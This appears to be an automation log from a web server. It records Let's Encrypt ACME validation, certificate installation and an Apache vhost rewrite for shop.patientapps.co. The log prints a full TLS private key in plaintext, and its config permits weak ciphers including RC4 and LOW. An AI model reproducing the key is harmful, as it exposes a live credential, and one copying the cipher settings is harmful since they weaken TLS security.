MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-03 22:13:16: Establishing a connection
2025-10-03 22:13:17: Establishing a connection
2025-10-03 22:13:17: 

PUT: /tmp/pkp325028

#!/bin/bash
if [ -d "/var/www/patientapps_shop/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-03 22:13:17: 

chmod 755 /tmp/pkp325028; /tmp/pkp325028; rm /tmp/pkp325028

2025-10-03 22:13:17: 


1


2025-10-03 22:13:18: Establishing a connection
2025-10-03 22:13:18: 

PUT: /tmp/pkp256174

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
cat > YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ


2025-10-03 22:13:19: 

chmod 755 /tmp/pkp256174; /tmp/pkp256174; rm /tmp/pkp256174

2025-10-03 22:13:19: 




2025-10-03 22:13:24: Establishing a connection
2025-10-03 22:13:24: 

PUT: /tmp/pkp311308

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
rm YoXosuq2b-aFhZasJ0SRFgAuoy75QiZgUr0Q6XDkxmQ


2025-10-03 22:13:24: 

chmod 755 /tmp/pkp311308; /tmp/pkp311308; rm /tmp/pkp311308

2025-10-03 22:13:24: 




2025-10-03 22:13:24: Establishing a connection
2025-10-03 22:13:24: 

PUT: /tmp/pkp733279

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99

cat > $temp_file <<'endmsg'
40:ba:bd:4b:96:20:a2:46:41:a4:bd:f7:61:91:c9:00

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBeIJpzBpkN/qRy7T0WMMfngTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMjExNDUxWhcNMjYwMTAxMjExNDUwWjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA1OmdfVqlPJX1moFdlLqByu3uEzdlcUXhPkgCUe/QgsywwTbafERhQYfB
CWP4z2j6EEg9HYxt3BqQLaPF7j4OBVfQaTgZ2H0BytH3RBc6Tid4M61icgo1tdUe
K7wnP3pngh//0+Da3RK1lLrtLbcPnMSA3LKe4MYJvbomW+g9wcuG1/ELVC7LRChx
JYZvJW5L8vTd1zyj4ACqHrEmNHFnJPOncAaOSAV6kwrfNr15kafDzMTgPnDU4vej
nBrr5f4ioatZSAkOhcUf5PrkPoHZbGuSLYSwMYEWjyzDPPZSmbIjoYEvJVjlLQl3
7ZewiFAuWls2pg55r07TnMJCwMRPvwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSnm35s6iWmCPvVtWGTA9EMp0ZykzAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZmsIwwTAAAE
AwBIMEYCIQDOxqT4W4Ao/fHNR5YxrzmjgMAsEtpsMY/Xr72vW5MCvgIhAMcoou/S
Z4ShCIn3zHIIgPKcg0lMoUxYFmBFX++c6XfqAHUAGYbUxyiqb/66A294Kk0BkarO
LXIxD67OXXBBLSVMx9QAAAGZrCMT5AAABAMARjBEAiBITBopg3qjxmlVNuAbtdnl
Yg3DJngCH7OVTLSqkp3AywIgTl43TOPuYekKSdUbkDVte4ilNBEYJVoSWuuF521L
5+UwDQYJKoZIhvcNAQELBQADggEBADLKmjWBrWLC1rLZoJNAix89j9EP0sLhP7r6
oPRFEAXDJ8cEkvmYfxYS1p1TOaSHwEbUgDSZpBMSwh5rPCPzADaDvXktLKPm/jbM
RIz8CozXhosgpUY3xonGfzzgens6JwUHB8yoZtKGYciuUnucXOFZGkMjyT8iesEu
FXjGlpcWKFQ7SpzieIkQUQZ2w+CUoVG0ymZfFX0dDULUCcljrnmq5SjiRzpmiTuJ
nMpHkAk86s+8jVGWzJdDyGya4qJkTbB4xP0otQyobrBUwSybFE3N4VYVwV68ndy3
dLJjmU2LAqHdrr6NS8yBwwb2M0f3X+07FQOoQD4UbuaiF8WFe50=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU6Z19WqU8lfWa
gV2UuoHK7e4TN2VxReE+SAJR79CCzLDBNtp8RGFBh8EJY/jPaPoQSD0djG3cGpAt
o8XuPg4FV9BpOBnYfQHK0fdEFzpOJ3gzrWJyCjW11R4rvCc/emeCH//T4NrdErWU
uu0ttw+cxIDcsp7gxgm9uiZb6D3By4bX8QtULstEKHElhm8lbkvy9N3XPKPgAKoe
sSY0cWck86dwBo5IBXqTCt82vXmRp8PMxOA+cNTi96OcGuvl/iKhq1lICQ6FxR/k
+uQ+gdlsa5IthLAxgRaPLMM89lKZsiOhgS8lWOUtCXftl7CIUC5aWzamDnmvTtOc
wkLAxE+/AgMBAAECggEATUSbCysiXGJvx6q7M4acI/FFPWQVRI5/uAKaFPJbUZzH
aNdnY0HNqeKCg83sNhl65v3QcDDOjdp2CJou8s9Cd13vHMBnYNG9HMYmXmevmT1p
uhdqasiZxWuaj3SxKbBacDb8uQAZbbGkhF1yRezxlYsa2P1Z+2jjkB9GXIRkJTf2
MY0g7z8gpDwvHvW/36pLBlvNZzh2+odLg65Z7pPgZ8cLNvEYNkbgEGpbWplTMc0n
IFGAPiQyRf4aJdCNYQxE11q70ucYVA2gr0WfZezDpf/oS3AcuRCcKJCGdJLWAVnx
wF2ZgFzrTCdYY5YX+0mYvMUHPjqsAfi9x6CLL2yuwQKBgQDuc8iOX0xVglEpi9+n
Y9oaGretDfQDPrkAMPzJuoQSvOL1d+nGoUcsHAMw6fn1V24sWYsEoqsSNP8IPVZL
9VqGjaRD0iz85a3e0rtqAFsgbQoHk8N/+avsB1DrG+X4ulFd5/1Mnop5cHWL+e4S
9eq2WfU6GKzySr63E3GU8HKbDQKBgQDklK/+7ts6ZHKVPG4MJ2v0AwwnikZ+f7de
CPsU9A1feaMiGphwxlreiCO2KyGSDqaCNWS71p9wFAFjcZjC4fuilV3u0r01EW5u
T79c13chgNmCNkuQC0HdXXFsyIfXdaM27qanDDSBgq9BVvY2qFZFNxno4m90UBqp
k+ytTCTy+wKBgQCNFnLvUpG+8omFVJ6z01AELBTLzzq3BNC/vTyFO9fTonGDnjzz
aw/KmJSGx5o/QUkN8rlft8QS1MqlnG1IKlcyz/IGswAtbtSux+9eK/G/QOUzUInX
WeoQkM+fHPW4cr2cG5zzTcdPTWwvs2TbUShcVuPTSTBjeDhZ6KZG4vJcrQKBgHIw
5YtSACs3qxZqzf88Ym3QZ+4I4han7w8HJYfeNCASQDD1YFpWfWbWVCDZgzfYIc7C
pcRA//2ZwOfRBCO3iWI7hGWe2e78+lIZfNwAt/8Aw6iNP0qClTDlUZiqxVIZ7qOu
rYqeSky44JyfuPitOAvz7vmsxUkyC1/UClS4yWypAoGBANZY/j9a3u28MIuR0X49
KQ2+jjj4UC/6s5TFa7iUxa1QTsaoOgpMnJ7KzWHd6OqfA/V/2vlo3YmVGUDtBfGl
358YvgwzeqmwcCzwReTAM5TJSnh4gSjaHaLgbq+W1ET7SQL8DSPrR5oAspXh9SqF
ch1KXVQq/Chdk1HnRac5KliZ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-03 22:13:24: 

chmod 755 /tmp/pkp733279; /tmp/pkp733279; rm /tmp/pkp733279

2025-10-03 22:13:24: 


dir=/etc/ssl/certs


2025-10-03 22:13:24: 

PUT: /tmp/pkp563959

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_shop_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-03 22:13:25: 

chmod 755 /tmp/pkp563959; /tmp/pkp563959; rm /tmp/pkp563959

2025-10-03 22:13:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf 43

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>






2025-10-03 22:13:25: 

PUT: /tmp/pkp392043

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_shop_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_shop_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
